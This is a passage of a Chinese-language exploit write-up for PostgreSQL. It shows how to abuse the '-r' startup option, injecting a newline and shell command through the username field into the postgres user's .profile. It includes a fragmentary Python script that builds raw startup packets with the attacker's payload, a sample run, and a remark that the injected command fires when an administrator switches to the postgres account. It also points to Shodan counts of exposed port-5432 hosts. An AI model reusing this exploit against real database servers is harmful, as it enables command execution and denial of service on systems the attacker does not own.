另一种思路
除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜
寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。
首先再回顾一下"-r"选项的日志输出格式:
1 | 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100" , |
2 | user "test123" , database "-rtest.out" , SSL on |
3 | 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100" , |
4 | user "test123" , database "-rtest.out" , SSL off |
因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。
但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。
运行下面的命令并抓包:
1 | psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB” |
由此我们可以看出posgres协议有以下组成部分:
- 一个4字节的big-endian长度的字段(包括自身的大小)
- 一个魔数(0×00, 0×03, 0×00, 0×00)
- 由空字节(Null bytes)分隔的几个命令
- 用户(user)
- <输入的用户名>
- 数据库(database)
- <输入的数据库名>
- 程序名(application_name)
- <输入的程序名>
- 客户端编码及值(client_encoding & value,我们忽略此项)
- 空字节(null byte)结尾
我们用python编程构造一个请求:
08 | buf = "\x00\x03\x00\x00" \ |
10 | "\"\x0a" + sys.argv[ 1 ] + " #\x00" \#Supplied username (Our controlled data) |
12 | "-r" + sys.argv[ 2 ] + "\x00" \ |
13 | "application_name\x00psql_pwnie\x00\x00" |
15 | buf = struct.pack( ">I" , len (buf) + 4 ) + buf |
17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
18 | sock.connect((HOST,PORT)) |
程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。
1 | x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile |
3 | E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20" , user "" |
结果:
02 | 2013-04-09: command not found |
现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口……
这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。